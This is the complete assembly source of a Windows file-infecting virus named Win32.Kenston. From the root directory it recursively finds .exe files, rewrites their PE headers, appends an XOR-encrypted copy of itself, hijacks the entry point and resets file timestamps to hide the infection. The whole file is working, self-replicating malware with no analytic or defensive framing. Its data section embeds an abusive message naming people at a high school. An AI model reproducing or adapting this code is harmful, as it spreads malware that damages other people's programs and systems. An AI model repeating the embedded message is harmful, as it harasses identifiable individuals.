Win32.Kenston
.386
locals
jumps
.model flat, STDCALL
extrn ExitProcess : PROC
org 1000h
.data
db "This is a virus.",0
.code
progstart:
push 0
call ExitProcess
STARTVIRUS:
call relativity
relativity:
pop ebp
cld
mov eax, ebp
db 2dh ;sub eax,
SaveEntry dd (offset relativity- offset progstart)
push eax
sub ebp, offset relativity
mov ecx, dword ptr [esp + 4]
and ecx, 0FFF00000h
mov ebx, 0BFF70000h ;Base address of win95's kernel
cmp ecx, 0BFF00000h ;are we win95 or 98?
je vulnerable
mov ebx, 077f00000h
cmp ecx, ebx ;are we NT?
jne exit
vulnerable:
mov ecx, ebx
mov edx, ecx ;Put imagebase in edx
mov dword ptr [ebp + imagebase], ecx ;Save the imagebase
xor eax, eax ;Clear eax
mov ax, word ptr [edx + 3Ch] ;Get relocation in MZ header
add ecx, eax ;Make ecx start of PE header
cmp word ptr [ecx], 'EP' ;Is everything working right?
jne exit
mov eax, dword ptr [ecx + 120] ;Get RVA of export table
add eax, edx ;Add on the Imagebase
mov dword ptr [ebp + offset ExportTable], eax ;Save the exporttable's address
mov ecx, dword ptr [eax + 24] ;Get number of entry's
dec ecx ;Drop number by one so bottom loop works
mov dword ptr [ebp + offset NumExports], ecx ;Store number of entrys
mov ecx, dword ptr [eax + 28] ;Get RVA of the Address Table
add ecx, edx ;Bias it by the Image Base
mov dword ptr [ebp + offset AddressTable], ecx ;Save the address
mov ecx, dword ptr [eax + 36] ;Get RVA of the Ordinal Table
add ecx, edx ;Bias it by the Image Base
mov dword ptr [ebp + offset OrdinalTable], ecx ;Save the address
mov ecx, dword ptr [eax + 32] ;Get RVA of the Name Table
add ecx, edx ;Bias it by the Image Base
mov dword ptr [ebp + offset NameTable], ecx ;Save the address
;Upon entry:
; ecx=start of RVA String table
; edx=imagebase
; ebx=start of string of function to resolve
;Returns:
; ebx=Address of function
lea ebx, [ebp + offset LoadLibraryaS] ;Function to scan for
push ecx ;Save start of RVA name table
call resolveexport ;Resolve LoadLibraryA
pop ecx
mov dword ptr [ebp + offset loadlibrarya], ebx ;Save address of loadlibrarya
lea ebx, [ebp + GetProcAddressS] ;Load address of function to resolve
call resolveexport ;Resolve getprocaddress
mov dword ptr [ebp + offset getprocaddress], ebx ;Save getprocaddress
lea esi, [ebp + offset APIList] ;Where function strings are started
lea edi, [ebp + offset FindFile] ;Where to store resolved address's
call maketable
lea ebx, [ebp + offset DirSave]
push ebx
push 256
mov ebx, [ebp + offset GetCurrentDir]
call ebx
cmp eax, 00h
je exit ;If not successfull then quit
lea ebx, [ebp + offset Root] ;Go to the root directory
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx
cmp eax, 01 ;Were we sucessfull?
jne exit ;If not then exit
call InfectFirstDirectory
lea ebx, [ebp + offset DirSave] ;Go to the original directory
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx
exit:
pop eax ;Return to host
jmp eax
InfectFirstDirectory:
lea ebx, [ebp + offset win32_file_data]
push ebx
lea ebx, [ebp + offset DirWildCard]
push ebx
mov ebx, dword ptr [ebp + offset FindFile]
call ebx
cmp eax, -1
je DoneDirScanning
mov dword ptr [ebp + offset DirSearchHandle], eax ;Save our search handle
cmp dword ptr [ebp + offset fileattr], 10h
jne NotADir1
cmp byte ptr [ebp + offset Fullname], '.'
je InfectNextDirectory
call TryInfectingDir ;Try infecting the possible directory
NotADir1:
InfectNextDirectory:
lea ebx, [ebp + offset win32_file_data] ;Where to store fileinfo
push ebx
push dword ptr [ebp + offset DirSearchHandle]
mov ebx, dword ptr [ebp + offset FindNext]
call ebx ;Find next file
cmp eax, 01
jne DoneDirScanningNoneFound
cmp dword ptr [ebp + offset fileattr], 10h
jne NotADir2
cmp byte ptr [ebp + offset Fullname], '.'
je NotADir2
call TryInfectingDir
NotADir2:
jmp InfectNextDirectory
DoneDirScanning:
push dword ptr [ebp + offset DirSearchHandle] ;Close the search handle
mov eax, [ebp + offset FindClose]
call eax
DoneDirScanningNoneFound:
ret
TryInfectingDir:
lea ebx, [ebp + offset FullName] ;Go to the dir we found
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx
cmp eax, 01 ;Was it really a directory?
jne NotaDirectory ;If not dont infect it or drop out of it
call FindFirstFile
push dword ptr [ebp + offset DirSearchHandle]
call InfectFirstDirectory
pop dword ptr [ebp+ offset DirSearchHandle]
lea ebx, [ebp + offset DotDot] ;We are going to the previous dir
push ebx
mov ebx, dword ptr [ebp + offset SetCurrentDir]
call ebx
NotaDirectory:
ret
FindFirstFile:
lea ebx, [ebp + offset win32_file_data] ;Where file info goes
push ebx
lea ebx, [ebp + offset EXEWildcard] ;What to search for
push ebx
mov ebx, dword ptr [ebp + offset FindFile] ;Find first file
call ebx
cmp eax, -1 ;Error?
je ExitScanning
mov dword ptr [ebp + offset SearchHandle], eax ;Save search handle
jmp check_file
FindNextFile:
lea ebx, [ebp + offset win32_file_data] ;Where to store fileinfo
push ebx
push dword ptr [ebp + offset SearchHandle] ;Saved search handle
mov ebx, dword ptr [ebp + offset FindNext]
call ebx ;Find next file
cmp eax, 01
jne DoneScanning
check_file:
push 0
push 20h
push 3 ;Open existing file
push 0
push 0
push 80000000h + 40000000h ;Open for reading and writing
lea ebx, [ebp + offset fullname]
push ebx
mov ebx, dword ptr [ebp + offset Createfile]
call ebx
cmp eax, -1 ;Was there any error?
je FindNextFile
mov dword ptr [ebp + FileHandle], eax ;Save file handle
xor eax, eax
lea edi, [ebp + offset WorkBuffer + 56] ;Go to memory to initalize
stosd
stosd ;This fixes a very lame bug, It should really zero out the
;whole workbuffer before each file
;is read but since its a runtime virus its written
;for efficency.
mov edx, 63 ;Read in first 63 bytes
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
call Read_file
cmp dword ptr [ebp + offset BytesRead], 63
jb TryNext ;Did we read in enough?
lea ebx, [ebp + offset WorkBuffer]
cmp word ptr [ebx], 'ZM' ;Is it an exe?
jne TryNext ;If it isnt scan next file
add ebx, 3Bh ;Go to the infection marker
cmp byte ptr [ebx], 'a' ;are we infected already?
je TryNext ;If so try next file
inc ebx ;Point to relocation
mov edx, dword ptr [ebx] ;Read the relocation
mov dword ptr [ebp + offset MZReloc], edx ;Save the relocation
call Set_Pointer ;Set file pointer to PE header
cmp eax, 0FFFFFFFFh
je TryNext
mov edx, 120 ;Try to read in first 120 bytes of PE Header
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
call Read_file
cmp dword ptr [ebp + offset BytesRead], 120
jne TryNext ;Did we read in enough?
cmp word ptr [ebp + offset WorkBuffer], 'EP' ;Are we in in the peheader?
jne TryNext
mov ebx, dword ptr [ebp + offset HeaderSze] ;Get the HeaderSize
sub ebx, dword ptr [ebp + offset MZReloc] ;Subtract the MZ header
mov dword ptr [ebp + offset HeaderSize], ebx ;Save the PE header's size
cmp ebx, 3000 ;Are we going to overflow our memory?
ja TryNext
push ebx ;Save number of bytes to read in
mov edx, dword ptr [ebp + offset MZReloc] ;Reset pointer back to the peheader
call Set_Pointer
cmp eax, 0FFFFFFFFh
je TryNext
pop edx ;Try to read in HeaderSize bytes
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
call Read_file
mov ebx, dword ptr [ebp + offset Headersize] ;How many bytes should have been read?
cmp ebx, dword ptr [ebp + offset BytesRead]
jne TryNext ;Did we read in enough?
xor ecx, ecx
mov cx, word ptr [ebp + offset NumObjects] ;Read in number of objects
cmp cx, 00h ;Are there objects?
je TryNext
xor ebx, ebx
mov bx, word ptr [ebp + offset NTHeaderSze] ;Read in the NTHeaderSize
add ebx, 24 ;Add on the rest
lea edx, dword ptr [ebp + offset WorkBuffer]
;Workbuffer + NTHeadersize + 24 = start of object table
add edx, ebx ;Locate the object table
push edx ;Save start of object table
xor edx, edx
mov eax, ecx ;Handoff # of objects
mov ecx, 40 ;Each object is 40 bytes long
mul ecx ;# objects * 40
sub eax, 40 ;Backtrack to start of last object
pop edx ;Make edx the start of the object table in memory
add edx, eax ;Point edx to last object
mov ebx, dword ptr [edx + 20] ;Load the Physical Offset
push ebx ;Save for use with virtual size
mov eax, dword ptr [edx + 16] ;Load the Physical Size
add ebx, eax ;Add them together
mov edi, dword ptr [ebp + offset FileSize] ;Wont work if file is larger than 4.3 gigs...oh well
add edi, (offset EndVirus - offset StartVirus) + (offset Encryptionframe - offset Encrypt) ;Put on the virussize of our virus in memory
sub edi, ebx ;Determine distance from end of virus to old end of object
add eax, edi ;Make our new physical size
mov ebx, eax
sub ebx, (offset EndVirus- offset StartVirus) + (offset Encryptionframe - offset Encrypt)
mov esi, dword ptr [edx + 12] ;Get RVA for determining entrypointRVA
add esi, ebx ;Find out our entrypointRVA
mov dword ptr [ebp + offset VirusRVA], esi ;Save the virus's RVA
add esi, dword ptr [ebp + offset ImgBase] ;Make the Entrypoint RVA the EntrypointVA
add esi, (offset EncryptionFrame - offset Encrypt) ;Make it point to the encrypted virus in memory
mov dword ptr [ebp + offset VirusVA], esi ;Save the VA for later
mov ecx, dword ptr [ebp + offset FileAlign] ;Get our alignment value
; call File_Align ;Aligns eax
mov dword ptr [edx + 16], eax ;Save our new physical size
pop ebx ;Load the physical offset
mov eax, dword ptr [edx + 8] ;Load the virtual size
add ebx, eax ;Determine end of virtual space
mov edi, dword ptr [ebp + offset FileSize]
add edi, (offset BufferEnd - offset StartVirus) + (offset EncryptionFrame - offset Encrypt) ;Add the virus and its heap to it
sub edi, ebx ;Determine distance between end of virus's heap and end of virtual space
add edi, eax ;Make our virtual size
mov dword ptr [edx + 8], edi ;Save our new virtualsize
mov ecx, dword ptr [edx + 12] ;Get the objects RVA
add ecx, edi ;Make our new ImageSize
mov dword ptr [ebp + offset ImageSize], ecx ;Save our new Imagesize
mov dword ptr [edx + 36], 0E0000040h ;Fix the flags
;We do all the dispatcher and loading shit here
mov ecx, dword ptr [ebp + offset EntrypointRVA]
mov eax, dword ptr [ebp + offset VirusRVA]
mov dword ptr [ebp + offset EntrypointRVA], eax
sub eax, ecx
add eax, (offset relativity - offset startvirus) + (offset EncryptionFrame - offset Encrypt) ;Makeup for the call instruction
mov dword ptr [ebp + offset SaveEntry], eax
mov edx, 3Bh ;Offset we write marker byte at
call Set_Pointer ;Go to place to write marker
mov ebx, 1h ;Write one byte
lea ecx, dword ptr [ebp + offset InfectionMarker] ;The byte to write
call Write_File ;Write the infection marker
mov edx, dword ptr [ebp + offset MZReloc]
call Set_Pointer ;Goto the start of the peheader
mov ebx, dword ptr [ebp + offset BytesRead] ;How much to write
lea ecx, [ebp + offset WorkBuffer] ;Write our modified PE header
call Write_File ;Write it!
lea esi, [ebp + offset StartVirus] ;Copy the virus to the work buffer to encrypt
lea edi, [ebp + offset WorkBuffer] ;Where to copy it
mov dword ptr [ebp + offset StartEncrypt], edi ;We use this below
mov ecx, (offset EndVirus - offset StartVirus) ;How much to copy
rep movsb
inc byte ptr [ebp + offset Key] ;Change the key
Call Encrypt ;Encrypt our code
mov ebx, dword ptr [ebp + VirusVA] ;Get our Entrypoint VA
mov dword ptr [ebp + offset StartEncrypt], ebx ;Store it in the routine
xor edx,edx
call Set_EOF ;Go to EOF
mov ebx, (offset EncryptionFrame - offset Encrypt) ;Size of encryption routine to write
lea ecx, [ebp + offset Encrypt] ;Write encryption routine
call Write_File
mov ebx, (offset EndVirus - offset StartVirus) ;Size of the virus to write
lea ecx, [ebp + offset WorkBuffer] ;Where the encrypted virus is in memory
call Write_File ;Write the virus
lea ebx, [ebp + offset LastWriteTime] ;Get ptr to last writetime
push ebx
sub ebx,8 ;Point it to lastaccesstime
push ebx
sub ebx, 8 ;Point it to createtime
push ebx
push dword ptr [ebp + offset FileHandle] ;Push on the file handle
mov ebx, dword ptr [ebp + offset SetFileTime]
call ebx ;Change the file's times
call Close_File
DoneScanning:
push dword ptr [ebp + offset SearchHandle]
mov eax, [ebp + offset FindClose]
call eax
ExitScanning:
ret
TryNext:
call Close_File
jmp FindNextFile
Read_File:
push 0
lea ebx, [ebp + offset BytesRead] ;Where to put # of bytes read
push ebx
push edx ;Number of bytes to read
push ecx ;Address of buffer
push dword ptr [ebp + offset FileHandle]
mov ebx, dword ptr [ebp + offset ReadFile]
call ebx ;Read the file
ret
Write_File:
push 0
lea eax, [ebp + offset BytesWritten]
push eax ;Where to return # of bytes written
push ebx ;# of bytes to write
push ecx ;Where to write from
push dword ptr [ebp + offset FileHandle]
mov ebx, dword ptr [ebp + offset WriteFile]
call ebx
ret
;Upon Entry:
; edx=New actual address in file
Set_EOF:
push 02h
jmp jumpover
Set_Pointer:
push 00
jumpover:
push 0
push edx ;Where to go in file
push dword ptr [ebp + offset FileHandle]
mov ebx, [ebp + offset SetFilePointer]
call ebx
ret
File_Align:
;Upon entry ecx = alignment value
;eax = Size to process
;eax returns aligned size
push edx
xor edx, edx
div ecx
inc eax
mul ecx
pop edx
ret
Close_File:
push dword ptr [ebp + offset FileHandle]
mov eax, dword ptr [ebp + offset CloseFile]
call eax ;Close the file
ret
;Upon entry:
; esi=Function string table.
; edi=Our address table.
maketable:
lea ebx, [ebp + offset loadlibrarya]
push esi ;Next in string table
call dword ptr [ebx] ;call loadlibrarya
mov edx, eax ;Save module handle
loopuntilnull:
inc esi
cmp byte ptr [esi], 00h
jne loopuntilnull ;loop until at end of string
inc esi
cmp byte ptr [esi], 01h ;Are we on last loop?
je donelooping
lea ebx, [ebp + offset GetProcAddress]
push edx
push esi ;pointer to function name
push edx ;base address of dll
call dword ptr [ebx] ;Getprocaddress in import table
pop edx
stosd
jmp loopuntilnull
donelooping:
ret
resolveexport:
;Upon entry:
; ecx=start of RVA String table
; edx=imagebase
; ebx=start of string of function to resolve
;Returns:
; ebx=Address of function
xor edi,edi
scanstring:
mov esi, dword ptr [ecx] ;Load RVA of string to scan
add esi, edx ;Bias it by the Imagebase
push ebx ;Bad way to save ebx for later use
scanloop:
lodsb
cmp al, 00h ;Is it a null character?
je foundstring
cmp byte ptr [ebx], al ;Does the character match?
jne scannext ;If not scan next string
inc ebx ;Advance the byte we are
;scanning for.
jmp scanloop
scannext:
pop ebx
add ecx, 4 ;Move it to the next export?
inc edi ;Increment the counter
cmp dword ptr [ebp + NumExports], edi ;Are we on last export?
je exit ;Abort if out of exports
jmp scanstring
foundstring:
pop ebx ;Keep the stack nice and neat
add edi, edi ;Multiply by 2 because Ordinal
;Table is 16 bits
mov ebx, dword ptr [ebp + OrdinalTable]
add edi, ebx ;Point edi to getprocaddress's entry
xor ebx, ebx
mov bx, word ptr [edi] ;Get 16bit ordinal number
lea ebx, [ebx * 4] ;Multiply by 4 because the Address
;table is made of double words.
mov esi, dword ptr [ebp + AddressTable]
add esi, ebx ;Point esi to RVA in addresstable
mov ebx, dword ptr [esi] ;Move RVA to ebx
add ebx, edx ;Offset it with the imagebase
ret
Encrypt:
mov ecx, (offset EndVirus - offset StartVirus)
db 0BBh ;Mov ebx,
StartEncrypt dd 000000000h
db 0B0h ;mov al,
Key db 00h
XorLoop:
xor byte ptr [ebx], al
inc ebx
dec ecx
cmp ecx, 00h
jne XorLoop
EncryptionFrame:
ret
STARTDATA:
;We use these to find functions in KERNEL32.DLL's export table
LoadLibraryAS db "LoadLibraryA"
GetProcAddressS db "GetProcAddress"
;These are the functions we need to get the address's of:
APIList:
db "KERNEL32",0
db "FindFirstFileA",0
db "FindNextFileA",0
db "FindClose",0
db "SetFileAttributesA",0
db "SetFileTime",0
db "CreateFileA",0
db "ReadFile",0
db "WriteFile",0
db "SetFilePointer",0
db "CloseHandle",0
db "SetCurrentDirectoryA",0
db "GetCurrentDirectoryA",0,01h ;01h stops the looking up
db "Boles and Manning are arrogant facists."
db " They have no computer sk1llz and KENSTON HIGH SCHOOL's"
db " computers are 0wn3d. I AM BACK KOONS YOU MOTHERFUCKER "
db "dowN wiTh KenSTON..... yOU tRIED tO rID yOUrSELf oF mE BefoRE"
db "bUT fAILED"
db "HAHAHAHAHAHAHAHAHAHAHAHAHAHAHA"
DirWildcard db "*.",0
EXEWildcard db "*.exe",0
InfectionMarker db "a"
DotDot db "..",0
root db "",0
ENDVIRUS:
;These are addresses already offseted by the Image base when saved
ImageBase dd 1 dup (?)
ExportTable dd 1 dup (?)
AddressTable dd 1 dup (?)
NameTable dd 1 dup (?)
OrdinalTable dd 1 dup (?)
NumExports dd 1 dup (?)
GetProcAddressCall dd 1 dup (?)
;These are used in infecting files
BytesWritten dd 1 dup (?)
SearchHandle dd 1 dup (?)
DirSearchHandle dd 1 dup (?)
FileHandle dd 1 dup (?)
BytesRead dd 1 dup (?)
MZReloc dd 1 dup (?)
HeaderSize dd 1 dup (?)
NTHeaderSize dd 1 dup (?)
VirusRVA dd 1 dup (?)
InfectCounter dd 1 dup (?)
VirusVA dd 1 dup (?)
;Place to store the two routines used to look up the rest
LoadLibraryA dd 1 dup (?)
GetProcAddress dd 1 dup (?)
;This becomes a table of these functions address's
FindFile dd 1 dup (?)
FindNext dd 1 dup (?)
FindClose dd 1 dup (?)
SetAttrib dd 1 dup (?)
SetFileTime dd 1 dup (?)
CreateFile dd 1 dup (?)
ReadFile dd 1 dup (?)
WriteFile dd 1 dup (?)
SetFilePointer dd 1 dup (?)
CloseFile dd 1 dup (?)
SetCurrentDir dd 1 dup (?)
GetCurrentDir dd 1 dup (?)
DirSave db 256 dup (?)
win32_file_data:
fileattr dd 1 dup (?)
createtime dd 2 dup (?)
lastaccesstime dd 2 dup (?)
lastwritetime dd 2 dup (?)
dd 1 dup (?)
filesize dd 1 dup (?)
resv dd 2 dup (?)
fullname db 256 dup (?)
realname db 256 dup (?)
WorkBuffer:
Signature dd 1 dup (?)
Cputype dw 1 dup (?)
NumObjects dw 1 dup (?)
dd 3 dup (?)
NtHeaderSze dw 1 dup (?)
Flags dw 1 dup (?)
dd 4 dup (?)
EntrypointRVA dd 1 dup (?)
dd 2 dup (?)
ImgBase dd 1 dup (?)
Objectalign dd 1 dup (?)
Filealign dd 1 dup (?)
dd 4 dup (?)
Imagesize dd 1 dup (?)
Headersze dd 1 dup (?)
db 3000 dup (?)
BufferEnd:
ends
end STARTVIRUS